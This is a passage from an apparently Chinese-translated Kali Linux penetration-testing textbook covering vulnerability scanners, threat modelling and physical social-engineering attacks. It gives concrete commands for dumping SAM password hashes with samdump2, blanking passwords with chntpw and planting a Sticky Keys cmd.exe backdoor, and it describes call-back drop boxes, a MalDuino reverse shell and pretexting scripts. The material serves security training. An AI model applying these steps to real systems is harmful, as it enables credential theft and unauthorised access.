  5. 在浏览器中访问 URL http://yourIPaddress:Portnumber,并将侦察过程中发现的任何移动应用上传到扫描器,以识别入口点。

  6. 文件上传后,渗透测试人员可以在扫描器中识别出反汇编后的文件,以及所有其他重要信息:

    图 4.16:成功安装并执行 MobSF 扫描器在示例 APK 文件上

扫描输出将提供所有移动应用的配置信息,如活动、服务、接收器和提供者。有时,这些配置信息提供了硬编码的凭证或云 API 密钥,可在其他已识别的服务和漏洞中使用。在一次渗透测试过程中,我们在目标的移动应用中的一个 Java 文件中发现了一个开发者账户的用户名和 Base64 编码的密码,该文件被注释掉,允许访问该组织的外部 VPN。

移动安全框架中更重要的部分在于 URL、恶意软件和字符串。

OpenVAS 网络漏洞扫描器

开放漏洞评估系统OpenVAS)是一个开源漏洞评估扫描器,同时也是一个漏洞管理工具,通常被攻击者用来扫描广泛的网络,其数据库中包含超过 80,000 个漏洞。然而,和其他商业工具(如 Nessus、Nexpose 和 Qualys)相比,这被认为是一个较慢的网络漏洞扫描器。

这个工具在 Kali Linux 2021.4 中没有预装,因此需要手动安装。确保你的 Kali 系统是最新的,并通过运行 sudo apt install gvm 命令来安装 OpenVAS 的最新版本。完成后,运行 sudo gvm-setup 命令来设置 OpenVAS。此设置将运行所有相关的漏洞数据库(SCAP/NVT/CERT),并且当脚本成功执行后,它应创建一个管理员用户并生成一个随机密码,如 图 4.17 所示:

图 4.17:安装过程中确认管理员用户创建和临时密码

最后,为确保安装正常,运行 sudo gvm-check-setup 命令,它将列出运行 OpenVAS 所需的前 10 项。如果安装成功,测试人员应该能够看到以下内容:

图 4.18:成功安装 OpenVAS 漏洞扫描器

下一步是通过在命令行提示符中运行sudo gvm-start命令来启动 OpenVAS 扫描器。根据带宽和计算机资源的不同,这可能需要一些时间。一旦安装和更新完成,渗透测试人员应该能够通过输入用户名和密码,在端口9392上使用 SSL 访问 OpenVAS 服务器(localhost:9392)。

需要检查的一个重要事项是,通过从主菜单导航到Administration->Feedstatus,确保你有最新的漏洞源,你应该看到图 4.19所示内容:

图 4.19:检查 OpenVAS 的源状态,以更新当前的源

攻击者现在准备利用 OpenVAS,方法是通过导航到配置,点击目标,然后点击新建目标,输入目标信息。输入新目标的详细信息后,攻击者可以导航到扫描,点击任务,点击新建任务,输入详细信息,查看之前输入的扫描目标,设置扫描器和扫描配置,并保存。最后,点击任务名称,然后从扫描器门户点击开始扫描,即可启动扫描。

自定义 OpenVAS

与其他扫描器不同,OpenVAS 还可以自定义扫描配置:它允许测试人员添加凭证、禁用特定插件、设置最大和最小连接数等。要停止此服务,测试人员可以运行sudo gvm-stop命令。

商业漏洞扫描器

大多数威胁行为者利用开源工具发起攻击;然而,商业漏洞扫描器在渗透测试过程中有其自身的优缺点。在本节中,我们将学习如何在 Kali Linux 上安装 Nessus 和 Nexpose,并且由于这些扫描器得到了有声望的公司支持,因此它们拥有全面的文档,所以我们不会深入配置这些工具。

Nessus

Nessus 是由 Renaud Deraison 于 1998 年启动的老牌漏洞扫描工具。它是一个开源项目,直到 2005 年,该项目被 Tenable Network Security(由 Renaud 共同创立)接管。Nessus 是安全社区中最常用的商业漏洞扫描器之一,主要用于网络基础设施扫描。请注意,Tenable 拥有多个安全产品。在本节中,我们将探讨如何安装 Nessus Essential。

以下是如何在 Kali Linux 上安装 Nessus 的逐步说明:

  1. 通过访问www.tenable.com/try并选择免费试用 Nessus PRO,注册为普通用户。

  2. www.tenable.com/downloads/下载适合的 Nessus 版本。

  3. 一旦下载完 Nessus,运行安装程序,如下命令所示:

    sudo dpkg -i Nessus-8.14.0-debian6_amd64.deb 
    
  4. 下一步是通过运行 sudo systemctl start nessusd.service 启动 nessus 服务,这样 Nessus 就会在我们的系统上启动。

  5. 默认情况下,Nessus 扫描器通过 SSL 在端口 8834 上运行。在成功安装后,攻击者应该能够看到以下内容:

    图 4.20:在 Kali Linux 上成功安装 Nessus

  6. 添加一个新用户并激活许可证;你的扫描器将根据你的许可证下载所有相关插件。

  7. 最后,你应该能够看到 Nessus 已经运行,如 图 4.21 所示,它准备好对目标系统/网络进行扫描:

    图 4.21:选择策略以启动 Nessus 扫描

攻击者可以利用 Nessus 的所有功能,快速识别可以用于选择正确目标进行利用的漏洞。我们将在后续章节中探讨其他商业和专用扫描器。

Qualys

Qualys 是漏洞管理商业市场中的另一大玩家。他们还提供了一个社区版在线扫描器,在渗透测试/RTE 中肯定会非常有用。

渗透测试人员可以通过访问 www.qualys.com/community-edition/ 来获取免费的社区版。一旦注册完成,测试人员将拥有自己的自定义门户,并且登录凭证应该允许我们扫描最多 16 个 IP 地址。Qualys 中一个外部扫描完成的示例将如 图 4.22 所示:

图 4.22:成功启动使用 Qualys 社区版进行扫描

你应该注意到,扫描将来自于 Qualys 托管的公共 IP 地址,建议在启动 Qualys 扫描之前自定义扫描策略,例如禁用拒绝服务类型的检查。

专用扫描器

杀链的利用阶段是对渗透测试人员或攻击者最危险的阶段;他们直接与目标网络或系统互动,并且很可能会被记录下活动或暴露身份。因此,必须采取隐蔽措施来减少测试人员的风险。尽管没有任何特定的工具或方法是无法被发现的,但一些配置变化和特定工具会使得检测变得更加困难。

在之前的版本中,我们讨论了 Web 应用攻击与审计框架 (w3af) 扫描器,这是一个基于 Python 的开源 Web 应用安全扫描器,但由于该产品缺乏更新,现已不再包含在 Kali Linux 发行版中。

Kali 还包括一些特定应用的漏洞扫描器,如 WPScan 和 VoIP Hopper。让我们探索一下 WPScan,它通常被称为 WordPress 安全扫描器,攻击者可以利用它自动检测超过 22,800 个 WordPress 漏洞。

这个应用程序是用 Ruby 编写的,并且已经预安装在 Kali 上。扫描可以通过运行 wpscan --url target.com 来简单启动,如 图 4.23 所示:

A screenshot of a computer  Description automatically generated with medium confidence

图 4.23:使用 WPScan 扫描 Web 应用程序

威胁建模

被动和主动侦察阶段绘制目标网络和系统的图,并识别可能被利用的漏洞,以实现攻击者的目标。在攻击者的击杀链的这一阶段,有强烈的行动欲望;测试人员希望立即发起利用攻击并证明他们能够攻破目标。然而,未经过计划的攻击可能不是实现目标的最有效手段,且可能牺牲成功所需的隐秘性。

渗透测试人员已经采用(正式或非正式)一种被称为威胁建模的过程,该过程最初是由网络规划人员开发的,用于制定防御性对策来应对攻击。

渗透测试人员和攻击者已经将这种防御性威胁建模方法颠倒过来,以提高攻击的成功率。进攻性威胁建模是一种正式的方法,结合了侦察和研究的结果来制定攻击策略。攻击者必须考虑可用的目标,并识别目标类型,具体如下:

  • 主要目标:这些是任何组织的主要入口点目标,当被攻破时,它们成为渗透测试的目标。

  • 次要目标:这些目标可能提供信息(安全控制、密码和日志政策、本地及域管理员的用户名和密码),以支持攻击或允许访问主要目标。

  • 三级目标:这些目标可能与测试或攻击目标无关,但相对容易被攻破,并且可能提供信息或分散对实际攻击的注意力。

对于每种目标类型,您必须确定使用哪种方法。单一漏洞可以通过隐秘技术进行攻击,或者可以通过大量攻击来快速利用多个目标。如果实施大规模攻击,防御者的控制设备中的噪音将频繁导致他们最小化路由器和防火墙上的日志记录,甚至完全禁用它。

使用的方法将指导漏洞的选择。通常,攻击者在创建威胁模型时会遵循攻击树方法,如 图 4.24 所示:

图 4.24:一个示例攻击树,展示攻击目标

攻击树方法使测试员能够轻松可视化可用的攻击选项,以及如果选定的攻击未成功时可采用的替代选项。一旦生成攻击树,漏洞利用阶段的下一步是识别可能用于利用目标中漏洞的攻击方式。在前述攻击树中,我们可视化了获取工程文档的目标,这些文档对于提供工程服务的组织至关重要。

渗透测试员还可以使用 pytm,这是一个基于 Python 的工具,在 web 应用程序的漏洞利用过程中非常有用,帮助你理解如何通过暴露的服务器渗透特定组织。该工具包含 100 个预定义的基于 Web 的威胁,并且提供在几分钟内创建数据流图DFD)的能力,这些图可以作为典型的入口点使用。该工具可以直接从 GitHub 下载,或者通过运行 git clone https://github.com/izar/pytm 来获取。下载后,安装所有依赖项以运行该程序:

git clone https://github.com/izar/pytm
cd pytm
sudo pip3 install –r requirements.txt
sudo python3 setup.py install
sudo python3 tm.py -–list 
sudo python3 tm.py --dfd | dot -Tpng -o sample.png 

渗透测试员应查看通过 pytm 生成的 web 服务器的 DFD,如图 4.25所示:

图 4.25:通过 pytm 生成的示例 DFD

攻击者可以利用这个 DFD 来识别应用程序的正确入口点,发现漏洞并加以利用。

总结

本章重点介绍了多种漏洞评估工具和技术。我们学习了如何使用 NSE 为 Nmap 编写自己的漏洞脚本,如何使用一种工具将主动侦察的结果转化为定义好的行动,从而为测试者建立访问目标的权限。我们还学习了如何在 Kali Linux 上安装 OpenVAS、Nessus 和 Nexpose 漏洞扫描器,并在云中利用 Qualys 的社区版。

Kali 提供了多种工具,以便于开发、选择和激活漏洞,包括内部的 exploit-db(searchsploit),以及几个简化漏洞使用和管理的框架。我们还探索了特定应用的 WordPress 安全扫描器(WPScan),并讨论了威胁建模的基本原理。此外,我们学习了如何使用 pytm 创建威胁数据流图(DFD),帮助渗透测试员识别大多数入口点并渗透 web 应用程序。

下一章重点讲解攻击者杀伤链中最重要的部分——利用阶段。物理安全是获取数据系统访问权限的一种方法(如果你能启动系统,就能获得根权限!)。物理访问还与社会工程学密切相关,社会工程学是利用人类的信任来进行攻击的艺术。这是攻击者实现其目标的阶段。典型的利用活动包括通过利用不良的访问控制进行横向升级,以及通过窃取用户凭证进行纵向升级。

第五章:高级社会工程学和物理安全

社会工程学是一种通过与人类互动来操纵他们,从而获取信息或执行恶意活动的方法。它是最有效的攻击手段,已经使许多大型组织陷入安全事件之中。攻击者可以通过利用人类心理来选择单一或多种方式针对个人,这样可以有效地欺骗人类,让他们为攻击者提供对系统的物理访问权限。它是红队演练、渗透测试或实际攻击中使用的最成功的攻击途径。社会工程学攻击的成功依赖于两个关键因素:

  1. 在侦察阶段获得的知识。攻击者必须知道与目标相关的名称和用户名;更重要的是,攻击者必须了解网络中用户的关注点。

  2. 了解如何运用这些知识来说服潜在目标启动攻击,通过冒充权威与他们通话,询问他们的信息,鼓励他们点击链接或执行程序。近年来,以下两种战术最为成功:

    • 如果目标公司最近刚刚完成年终评估,那么公司中的每个员工都会非常关注从人力资源部门收到更新后的薪资包。因此,与该主题相关的电子邮件或文档很可能会被目标个人打开。

    • 如果目标公司收购或合并了另一家公司,则社交工程学攻击的类型将是鲸吞攻击,目标是 C 级管理人员以及两家公司中的其他高管。此类攻击的主要原理是,用户拥有的特权越多,攻击者可以获得的访问权限也就越多。

Kali Linux 提供了多个工具和框架,如果将社会工程学作为前提来影响受害者打开文件或执行特定操作,这些工具和框架的成功几率会大大提高。例如,Metasploit 框架创建的基于文件的可执行文件,以及使用无文件技术的 PowerShell 脚本(如 Empire 3)。

在本章中,我们将探讨一些战术、技术和流程TTPs),并深入了解如何利用社会工程学工具包(也称为SETSEToolkit)以及Gophish。使用这些工具的技术将作为运用社会工程学从其他工具中部署攻击的模型。

到本章结束时,您将学习以下概念和方法:

  • 攻击者可能采取的不同社会工程学攻击方法

  • 如何在控制台执行物理攻击

  • 使用微控制器和 USB 创建伪造物理设备

  • 通过凭证收割者攻击收集用户名和密码

  • 启动 Tabnabbing 和 Web Jacking 攻击

  • 使用多重攻击 Web 方法

  • 使用 PowerShell 的字母数字 Shellcode 注入攻击

  • 如何在 Kali Linux 上设置 Gophish

  • 发起电子邮件钓鱼活动

为支持 SET 的社会工程学攻击,以下一般实施实践也将被描述:

  • 隐藏恶意可执行文件并混淆攻击者的 URL

  • 通过 DNS 重定向升级攻击

  • 通过 USB 获取系统和网络的访问权限

命令方法学和 TTPs

作为支持网络杀伤链方法论的攻击路径,社会工程学专注于利用人的信任和天生的帮助意识来欺骗和操纵他们,从而破坏网络及其资源。

图 5.1展示了攻击者可以采取的不同攻击方法,以收集信息和/或获取访问权限。

图 5.1:不同类型的社会工程学策略

从本书的前几版中,我们现在已将社会工程学策略重新分类为两大类:一类涉及技术,另一类包括针对人的特定技术。以下章节将简要介绍这两类;之后我们将探讨基于计算机的攻击,特别是使用 Kali Linux 进行的物理攻击和电子邮件钓鱼攻击。

技术

随着技术从传统 PC 到笔记本电脑和手机的演变,社会工程学技术也在不断发展。本节将讨论可以使用 Kali Linux 进行的基于计算机和移动设备的攻击。

基于计算机的

利用计算机进行社会工程学攻击可以细分为以下几种类型。所有这些攻击都最好在最大化利用所有被动和主动侦察信息的基础上进行:

  • 电子邮件钓鱼:利用电子邮件媒介收集信息或利用受害者系统中已知软件漏洞的攻击称为电子邮件钓鱼。

  • 诱饵/交换条件:这是一种通过利用 USB 闪存盘和光盘来嵌入已知漏洞并创建后门的技术。诱饵更侧重于通过使用物理媒介来利用人类的好奇心。攻击者可以创建一个特洛伊木马,借助自动运行功能或用户点击打开驱动器内的文件时,提供对系统的后门访问。交换条件与诱饵类似,但在这种情况下,受害者会为特洛伊木马提供某些东西作为交换。

  • Wi-Fi 钓鱼:渗透测试人员可以利用此技术通过设置一个与目标公司相似的虚假 Wi-Fi 网络来收集用户名和密码。例如,攻击者可以通过将其 Wi-Fi 的 SSID 设置为与公司相同(或相似)来瞄准目标公司,从而允许用户无需密码即可连接到虚假的无线路由器。我们将在第六章无线和蓝牙攻击中深入探讨这些攻击。

基于移动设备

基于移动设备的攻击已成为一种轻松获取机密信息或尝试收集其他重要细节的方法,这些细节可能有助于渗透测试或红队演练RTE)的目标。我们将讨论攻击者常用的两种基于移动设备的攻击:

  • 短信钓鱼:攻击者通过短消息服务SMS)执行钓鱼攻击,发送包含链接的短信或草拟一条允许用户点击链接或回复文本的消息。渗透测试人员还可以利用公开提供的服务,例如www.spoofmytextmessage.com/free

  • 快速响应码QR 码 在红队演练中,二维码也是将有效负载传递到隔离区域的最有效方式。类似于垃圾邮件,包含中奖奖励信息或最新消息(如免费新冠疫苗注册)的二维码可以打印出来,并张贴在人们常去的地方,例如餐厅、吸烟区、厕所和其他繁忙区域。

基于人群

基于人群的攻击是红队演练或渗透测试中最有效的攻击类型。这些攻击集中在特定情况下人们的行为。以下部分解释了通过专注于人们的弱点以及利用这些弱点的不同策略来执行的不同类型的攻击。

物理攻击

物理攻击通常涉及攻击者的实际存在,攻击者随后执行社交工程攻击。以下是进行红队演练或渗透测试时常见的两种物理攻击类型:

  • 冒充或伪装:这包括测试者编写脚本并冒充重要人物,以从目标员工群体中获取信息。我们最近进行了一次社会工程攻击,目的是通过一次物理社会工程演练,识别域用户的用户名和密码。场景设定为攻击者与受害者对话,并冒充内部 IT 帮助台,“亲爱的 X 先生,我是来自内部 IT 部门的 Y 先生。我们注意到您的系统已经与网络断开连接 20 天。由于最近发生的勒索病毒攻击,建议您安装最新的系统更新。您能提供您的笔记本电脑以及用户名和密码吗?”这导致用户提供了登录详情,并且作为奖励,将笔记本电脑交给了攻击者。攻击者的下一步是将后门程序植入系统,以保持持续访问。

  • 控制台攻击:这些攻击包括所有涉及物理访问系统的攻击,例如更改管理员用户的密码、植入键盘记录器、提取存储的浏览器密码或安装后门程序。

基于语音的

任何通过语音信息欺骗用户在计算机上执行操作或泄露敏感信息的攻击,都被称为基于语音的社会工程攻击。

电话欺诈(vishing)是利用录音语音信息或个人直接拨打电话给受害人,以从目标受害人或受害人群体中提取信息的艺术。通常,电话欺诈会涉及可信的脚本,例如,如果公司 X宣布与公司 Y建立新的合资企业,员工会对两家公司未来的发展感到好奇。这使得攻击者可以直接拨打电话,使用预先定义的脚本,如下所示:

“您好,我是来自公司 Y 的 X 先生。我们现在已经宣布参与了一个合资企业,因此从技术上讲,我们都在同一个团队中。您能告诉我您的数据中心在哪里吗,并提供一份关键任务服务器的清单吗?如果您不是合适的人选,能否指引我找对人?非常感谢,X 先生。”

精心设计的电话欺诈(vishing)可以使攻击者不仅获得机密信息,还能保持隐蔽,避免引起不必要的注意。接下来我们讨论一个重要的攻击方法——获取物理设备的访问权限。

控制台的物理攻击

在本节中,我们将探讨在可以进行物理访问的系统上通常执行的不同类型攻击。

samdump2 和 chntpw

最常用的密码哈希转储方法之一是利用samdump2。这可以通过打开已获取系统的电源,然后通过我们的 Kali USB 启动它,方法是在 BIOS 中进行必要的更改(比如在联想电脑上,可以按F12键进入启动菜单并选择 USB)来完成:

  1. 一旦通过 Kali 启动系统,默认情况下本地硬盘必须作为媒体驱动器挂载(假设媒体驱动器没有被 BitLocker 或类似的加密保护),如 图 5.2 所示:

    图 5.2:Kali Linux 上的所有挂载磁盘

  2. 如果默认没有挂载驱动器,攻击者可以通过运行以下命令手动挂载驱动器:

    mkdir /mnt/target1
    mount /dev/sda2 /mnt/target1 
    
  3. 系统挂载后,导航到挂载的文件夹(在我们的例子中为 /media/root/<ID>/Windows/System32/Config),并运行 samdump2 SYSTEM SAM,如 图 5.3 所示。SYSTEMSAM 文件应显示系统驱动器上的所有用户及其密码哈希,随后可使用 John(John the Ripper)或 hashcat 工具离线破解密码。

    图 5.3:使用 samdump2 输出的密码哈希

    使用相同的访问权限,攻击者还可以从系统中删除用户密码。chntpw 是一个 Kali Linux 工具,可用于编辑 Windows 注册表、重置用户密码、将用户提升为管理员,并提供其他一些有用的选项。使用 chntpw 是重置 Windows 密码或在密码未知的情况下访问 Windows 计算机的好方法。

    chntpw 是一个工具,用于查看信息并更改 Windows NT/2000、XP、Vista、7、8.1、10 以及其他 Windows 服务器的用户密码,支持通过外部驱动器启动设备。

  4. SAM 用户数据库文件通常位于 Windows 文件系统的 \WINDOWS\system32\config\SAM。导航到文件夹,如 图 5.4 所示:

    图 5.4:来自 Windows system32 config 文件夹的所有文件

  5. 运行 chntpw SAM;密码存储在 Windows 中的 SAM 文件中。安全账户管理器 (SAM) 是 Windows XP、Windows Vista 和 Windows 7 中的一个数据库文件,存储用户的密码。

SAM 文件可以用于验证本地和远程用户。通常,SAM 文件位于 C/Windows/system32/config/SAM

  1. 在 Kali Linux 终端中输入 chntpw -i SAM,路径为 /media/root/<ID>/Windows/System32/Config

  2. 选择 1 – 编辑用户数据和密码

  3. 输入用户的 RID,在此例中为 03ef,如 图 5.5 所示:

    图 5.5:使用 chntpw 编辑 SAM 文件的交互式终端

选择 1 – 清除(空白)用户密码,然后输入 q 完成任务。输入 y 进行 写入 hive 文件。最后,你应该能够得到类似于 <SAM> - OK 的确认信息。图 5.6 显示了编辑后的 SAM 文件内容:

图 5.6:最终的 SAM 文件编辑确认,表明我们的密码已设置为空

在 Windows 10 中,系统重启后会包含 hyberfile.sys 文件,这会阻止攻击者挂载系统驱动器。要挂载系统驱动器并访问该驱动器,可以使用 mount -t ntfs-3g -ro remove_hiberfile /dev/sda2 /mnt/folder。请注意,某些具有端点加密工具(如 BitLocker 或任何其他供应商工具)的系统,在删除此文件后可能无法启动。

其他绕过工具包括 Kon-boot,它是另一种取证工具,利用类似于 chntpw 的功能。Kon-boot 仅影响管理员账户,不会移除管理员的密码;它只让你在不输入密码的情况下登录,在下次正常系统重启时,原始的管理员密码仍然 intact。

该工具可以从此网站下载:www.piotrbania.com/all/kon-boot/

Sticky Keys

在本节中,我们将探讨如何利用物理访问 Windows 计算机的控制台(该计算机解锁或没有密码)。攻击者可以利用微软 Windows Sticky Keys 特性在几秒钟内植入后门;然而,前提是你需要管理员权限才能放置可执行文件。但当系统通过 Kali Linux 启动时,攻击者可以不受任何限制地放置文件。

以下是攻击者可以利用的 Windows 工具列表,这些工具可以将实用程序可执行文件替换为 cmd.exepowershell.exe

  • sethc.exe

  • utilman.exe

  • osk.exe

  • narrator.exe

  • magnify.exe

  • displayswitch.exe

以下是将 sethc.exe 替换为 cmd.exe 的步骤:

cd /media/root/<ID>/Windows/System32/
cp cmd.exe /home/kali/Desktop
mv /home/kali/Desktop/cmd.exe /home/kali/Desktop/sethc.exe
rm sethc.exe
mv /home/kali/Desktop/sethc.exe . 

图 5.7 显示了 cmd.exe 的后门,当我们按下 Shift 键五次以调用 sethc.exe 时,命令提示符会出现,因为我们将 cmd.exe 替换为 sethc.exe

A picture containing text, electronics, computer, computer Description automatically generated

图 5.7:显示 Sticky Keys(sethc.exe)后门运行命令提示符(cmd.exe)

我们已经探讨了如何清除 Windows 10 本地用户的密码,并通过合法的 Windows 程序设置后门。

创建一个伪造的物理设备

Kali 还可以帮助进行入侵者直接物理访问系统和网络的攻击。这种攻击可能具有风险,因为入侵者可能会被细心的人发现或被监控设备拍到。然而,回报可能非常可观,因为入侵者可以入侵包含重要数据的特定系统。

物理访问通常是社会工程学的直接结果,尤其是在使用冒充时。常见的冒充包括以下几种:

  • 一个自称是帮助台或 IT 支持人员的人,声称只是需要快速通过安装系统升级来中断受害者。

  • 一名供应商拜访客户,然后借口与别人交谈或去卫生间。

  • 送货员送包裹。攻击者可以在网上购买送货制服;然而,由于大多数人认为穿着全身棕色制服并推着装满箱子的手推车的人是 UPS 的送货员,因此制服在社会工程中往往不是必需的!

  • 穿着工装、手里拿着打印出来的工作单的工人通常会被允许进入配线间和其他区域,特别是当他们声称是根据楼宇经理的要求前来时。

  • 穿上昂贵的西装,拿着文件夹,走路迅速;员工们会认为你是个不为人知的经理。在进行这种渗透测试时,我们通常会告诉别人我们是审计员,而且我们的检查很少受到质疑。

敌对物理访问的目标是迅速破坏选定的系统;这通常是通过在目标上安装后门或类似设备来实现的。一种经典的攻击方式是将一个 USB 键(形式为键盘/鼠标)插入系统,并让系统通过自动播放选项安装它;然而,许多组织会在整个网络中禁用自动播放功能。

攻击者还可以设置诱饵陷阱:携带含有文件的移动设备,文件名吸引人点击并查看内容。以下是一些例子:

  • 带有“员工薪资”、“医疗保险更新”或“Covid-19 退出策略”等标签的 USB 驱动器。

  • Metasploit 允许攻击者将有效载荷(如反向 Shell)绑定到可执行文件(如屏幕保护程序)上。攻击者可以使用公开可用的公司图片创建屏幕保护程序,并将带有新屏幕保护程序的 USB 寄给员工。当用户安装该程序时,后门也被安装,并连接到攻击者的服务器。

  • 如果你知道员工最近参加了某个会议,攻击者可以冒充出席的供应商,并向目标发送一封信,暗示这是供应商展会的后续。典型的消息内容是,“如果你错过了我们的产品演示和一年的免费试用,请通过点击 start.exe 查看附带的 USB 中的幻灯片。”

微型计算机或基于 USB 的攻击代理

我们注意到在 RTE/渗透测试中使用微型计算机和基于 USB 的设备的显著增加。这些设备由于其紧凑性而被广泛使用;它们可以隐藏在网络的任何地方,并且几乎能运行任何一台完整的笔记本电脑能运行的程序。在本节中,我们将探讨最常用的设备——树莓派和 MalDuino USB。

树莓派

树莓派是一款微型计算机,尺寸约为 8.5 厘米×5.5 厘米,但它却集成了 2-8GB 的 RAM、两个 USB 2.0 或两个 USB 3.0 端口以及一个由 Broadcom 芯片支持的以太网端口,采用 1.5GHz 的 64 位四核 CPU,并支持 Wi-Fi 和蓝牙。它没有硬盘,而是使用 SD 卡进行数据存储。如图 5.8所示,树莓派几乎是口袋大小;它很容易隐藏在网络中(例如放置在工作站或服务器后面,置于服务器机柜内,或者隐藏在数据中心的地板板下)。

图 5.8:组装好的树莓派 4 照片

要将树莓派配置为攻击向量,需要以下物品:

  • 一块树莓派 Model B,或更新版本

  • 一根 HDMI 线

  • 一根 micro-USB 线和充电器

  • 一根以太网线或迷你无线适配器

  • 一张 SD 卡,Class 10,至少 16GB 的容量

总的来说,所有这些设备通常都可以在网上购买,总花费不到 100 美元。以下是将树莓派配置为最新版本的 Kali Linux 的步骤:

  1. 要配置树莓派,请从www.kali.org/get-kali/#kali-arm下载最新版本的 Kali Linux ARM 版。从源压缩包中提取它。如果您正在从基于 Windows 的桌面配置,则可以使用第一章中介绍的相同 Rufus 工具来制作启动的 Kali USB 磁盘。

  2. 使用卡读器,将 SD 卡连接到基于 Windows 的计算机,并打开 Rufus 工具。选择之前下载并解压的 Kali ARM 版本,kali-custom-rpi.img,并将其写入 SD 卡。从 Mac 或 Linux 系统烧录 SD 卡的详细说明可以在 Kali 官网找到:www.kali.org/docs/usb/live-usb-install-with-mac/

  3. 将新烧录的 SD 卡插入树莓派,并将以太网线或无线适配器连接到 Windows 工作站,将 HDMI 线连接到显示器,将 micro-USB 电源线连接到电源,键盘和鼠标也连接好。连接电源后,树莓派将直接启动进入 Kali Linux。树莓派依赖外部电源,并且没有独立的开关;但是,Kali Linux 仍然可以通过在终端中运行halt命令来关闭。Kali 安装完成后,确保使用apt update命令进行更新。

  4. 请确保尽快更改 SSH 主机密钥,因为所有树莓派映像都使用相同的密钥。在 Kali Linux 终端中使用以下命令:

    sudo rm /etc/ssh/ssh_host_*
    sudo dpkg-reconfigure openssh-server
    sudo service ssh restart 
    

    同时,确保通过在终端中运行sudo passwd kali更改默认的用户名和密码。

  5. 配置树莓派定期通过 cron 任务连接回攻击者的计算机(使用静态 IP 地址或 DynDNS)。然后,攻击者必须物理访问目标的场所,并将树莓派连接到网络。大多数网络会自动为设备分配 DHCP 地址,并且对这种攻击类型的防御有限。

  6. 一旦树莓派连接回攻击者的 IP 地址,攻击者可以远程使用 SSH 发出命令,对受害者的内部网络进行侦察和利用。

如果连接了无线适配器,如 EW-7811Un V2,即 150 Mbps 无线 802.11b/g/n Nano USB 适配器,攻击者可以通过无线连接或使用树莓派发起无线攻击。

MalDuino:坏 USB

MalDuino 是一个由 Arduino 驱动的 USB 设备,攻击者可以在 RTE/渗透测试活动中使用该设备。该设备具有键盘注入功能,能够在几分之一秒内运行命令。这些设备在拥有组织建筑物物理访问权限的情况下,尤其有用。通常,组织内部的人很少锁定他们的计算机,认为物理访问限制就是安全措施,不会有人动手。即使攻击者物理访问了系统,工作人员也可以辩称“我们没有 USB 政策”;嗯,这是个好理由。但禁用 USB 并不等于禁用基于 USB 的键盘——当攻击者插入 MalDuino 时,它会充当键盘,模拟人类输入命令,并精确执行指定的有效载荷。

MalDuino 有两个版本:Elite 和 Lite。区别在于,Elite 提供了一个 SD 卡选项,可以在设备上的硬件开关下加载大约 16 个不同的有效载荷,这样你就不需要重新配置整个设备。使用 MalDuino Lite,每次更改有效载荷时都需要重新配置设备。

该板支持 Ducky Script 模板,使得创建自定义脚本变得容易。图 5.9 展示了 MalDuino Elite 硬件:

图 5.9:MalDuino 作为 USB 设备

设置板子的说明可以在 malduino.com/wiki/doku.php?id=setup:elite 找到。

我们将专注于通过以下步骤为板子设置 Empire PowerShell 脚本:

  1. 在 Empire 中生成 PowerShell 有效载荷(参见第十章利用)。

  2. 确保监听器已经启动并在监听任何连接。

  3. 将 PowerShell 启动器转换成字符串;由于 MalDuino 的缓冲区大小为 256 字节,因此有效载荷必须被分割。这可以通过访问 malduino.com/converter/ 来实现。

  4. 一旦字符串转换完成,它应该像图 5.10中所示那样:

    图 5.10:组织字符串以匹配每行 254 字符的限制

  5. 下一步是将有效载荷构建成脚本,如图 5.11所示:

    图 5.11:将有效载荷加载到 MalDuino 中

  6. 最后的操作是将设备插入受害者的机器;此时,你应该能够看到代理回报,如图 5.12所示:

    图 5.12:MalDuino 成功连接到我们的 Empire 监听器

我们已经学会如何利用专为 MalDuino USB 设计的设备来启动反向 Shell 连接到攻击者。攻击者还可以利用另一种场景,即将这些设备投放到目标地点,例如自助餐厅,甚至将其快递给公司 CEO 的私人助理,并附上一封来自法院或监管机构的高警报信息;受害者的好奇心或恐惧心理完成了攻击者的任务。

社会工程工具包 (SET)

SET 由 David Kennedy(@ReL1K)创建和编写,他是 trustedsec 的创始人,并由一个活跃的协作小组维护(www.social-engineer.org)。它是一个开源的、基于 Python 的框架,专门设计用于便于社会工程攻击。

该工具的设计目标是通过培训实现安全性。SET 的一个重要优势是它与 Metasploit 框架的互联性,Metasploit 提供了所需的有效载荷、绕过杀毒软件的加密技术以及连接到受损系统的监听模块,当它发送 Shell 回到攻击者时。

在 Kali 发行版中打开 SET,进入Applications | Social Engineering Tools | social engineering toolkit,或在 Shell 提示符下输入sudo setoolkit。你将看到如图 5.13所示的主菜单:

图 5.13:SET 启动屏幕

如果选择1) 社会工程攻击,将会出现如下子菜单,如图 5.14所示:

图 5.14:社会工程攻击主菜单

攻击菜单选项如下:

  1. 鱼叉式钓鱼攻击向量:此模块允许攻击者创建电子邮件消息和模板,并将其与附加的漏洞一起发送到目标受害者。

  2. 网站攻击向量:这是一个综合模式,允许攻击者利用多个子模块进行各种网站攻击——我们将在接下来的章节中探索一些模块。

  3. 感染性媒体生成器:该选项会创建一个autorun.inf文件和 Metasploit 有效载荷。一旦烧录或复制到 USB 设备或物理媒体(如 CD 或 DVD),并插入目标系统,它将触发自动运行(如果启用了自动运行)并破坏系统。

  4. 创建有效载荷和监听器:此模块是一个快速的菜单驱动方式来创建 Metasploit 有效载荷。攻击者必须使用另一个社会工程攻击说服目标启动它。

  5. 群发邮件攻击:能够使用 Sendmail 发送群发邮件并伪造发件人身份。

  6. 基于 Arduino 的攻击向量:这通过编程 Arduino 设备,如 Teensy(www.pjrc.com/teensy/)。因为这些设备在连接到物理 Windows 系统时会注册为 USB 键盘,所以它们能够绕过基于禁用自动运行或其他终端保护的安全措施。

  7. 无线接入点攻击向量:这将在攻击者的系统上创建一个伪造的无线接入点和 DHCP 服务器,并将所有 DNS 查询重定向到攻击者。攻击者随后可以发起各种攻击,例如 Java 小程序或凭证收集器攻击。

  8. 二维码生成器攻击向量:这会创建一个与攻击相关联的二维码,二维码中包含一个指定的 URL。

  9. PowerShell 攻击向量:这允许攻击者创建依赖于 PowerShell 的攻击,PowerShell 是一种命令行外壳和脚本语言,在 Vista 及以后版本的 Windows 中可用。

  10. 第三方模块:这允许攻击者使用 远程管理工具 Tommy 版 (RATTE) 和 Zonksec 提供的 Google Analytics 攻击。RATTE 是 Java 小程序攻击的一部分,它是一个基于文本菜单的远程访问工具,可以作为独立的载荷使用。

SET 还提供了 快速渗透测试 的菜单项,快速访问一些支持 SQL 数据库暴力破解和密码破解的专用工具,以及基于 Python 的一些自定义漏洞利用工具,SCCM 攻击向量,Dell 计算机 DRAC/机箱利用,用户枚举和 PsExec PowerShell 注入。

